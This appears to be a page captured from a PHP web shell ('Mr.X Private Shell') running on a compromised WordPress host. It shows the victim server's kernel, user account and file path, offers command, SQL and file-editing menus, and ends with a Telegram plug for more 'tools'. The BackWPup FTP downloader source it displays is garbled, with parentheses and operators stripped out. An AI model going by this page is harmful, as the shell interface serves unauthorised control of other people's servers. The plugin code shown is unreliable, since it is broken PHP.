Uname: Linux webm005.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User: 6036 (villadal)
Group: 100 (users)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//home/villadal/www/old/////wp-content/plugins/backwpup/////////inc/      ( Reset | Go to )
File Name: class-destination-ftp-downloader.php
Edit
<?php
/**
 * BackWPup_Destination_Ftp_Downloader
 *
 * @since   3.5.0
 * @package Inpsyde\BackWPup
 */

/**
 * Class BackWPup_Destination_Ftp_Downloader
 *
 * @since   3.5.0
 * @package Inpsyde\BackWPup
 */
final class BackWPup_Destination_Ftp_Downloader implements BackWPup_Destination_Downloader_Interface {

    
/**
     * @var \BackWpUp_Destination_Downloader_Data
     */
    
private $data;

    
/**
     * @var resource
     */
    
private $source_file_handler;

    
/**
     * @var resource
     */
    
private $local_file_handler;

    
/**
     * @var BackWPup_Destination_Ftp_Connect
     */
    
private $ftp_resource;

    
/**
     * BackWPup_Destination_Ftp_Downloader constructor
     */
    
public function __constructBackWpUp_Destination_Downloader_Data $data ) {

        
$this->data $data;

        
$this->ftp_resource();
    }

    
/**
     * Clean up things
     */
    
public function __destruct() {

        
fclose$this->source_file_handler );
        
fclose$this->local_file_handler );
    }

    
/**
     * @inheritdoc
     */
    
public function download_chunk$start_byte$end_byte ) {

        
$this->source_file_handler$start_byte );
        
$this->local_file_handler$start_byte );

        
$bytes = (int) stream_copy_to_stream(
            
$this->source_file_handler,
            
$this->local_file_handler,
            
$end_byte $start_byte 1,
            
0
        
);

        if ( 
$bytes === ) {
            throw new \
RuntimeException__'Could not write data to file.''backwpup' ) );
        }
    }

    
/**
     * @inheritdoc
     */
    
public function calculate_size() {

        
$resource $this->ftp_resource
            
->connect()
            ->
resource();

        
$size ftp_size$resource$this->data->source_file_path() );
        
ftp_close$resource );

        return 
$size;
    }

    
/**
     * Set the source file handler
     *
     * @param int $start_byte
     */
    
private function source_file_handler$start_byte ) {

        if ( 
is_resource$this->source_file_handler ) ) {
            return;
        }

        
$ctx stream_context_create( array( 'ftp' => array( 'resume_pos' => $start_byte ) ) );
        
$url $this->ftp_resource->getURL$this->data->source_file_path(), false$ctx );

        
$this->source_file_handler fopen$url'r' );

        if ( ! 
is_resource$this->source_file_handler ) ) {
            throw new \
RuntimeException__'Cannot open FTP file for download.''backwpup' ) );
        }
    }

    
/**
     * Set the local file handler
     *
     * @param int $start_byte
     */
    
private function local_file_handler$start_byte ) {

        if ( 
is_resource$this->local_file_handler ) ) {
            return;
        }

        
$this->local_file_handler fopen$this->data->local_file_path(), $start_byte === 'wb' 'ab' );

        if ( ! 
is_resource$this->local_file_handler ) ) {
            throw new \
RuntimeException__'File could not be opened for writing.''backwpup' ) );
        }
    }

    
/**
     * Set the Ftp resource
     *
     * @return void
     */
    
private function ftp_resource() {

        
$opts = (object) BackWPup_Option::get_job$this->data->job_id() );

        
$this->ftp_resource = new BackWPup_Destination_Ftp_Connect(
            
$opts->ftphost,
            
$opts->ftpuser,
            
BackWPup_Encryption::decrypt$opts->ftppass ),
            
$opts->ftphostport,
            
$opts->ftptimeout,
            
$opts->ftpssl,
            
$opts->ftppasv
        
);
    }
}

All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL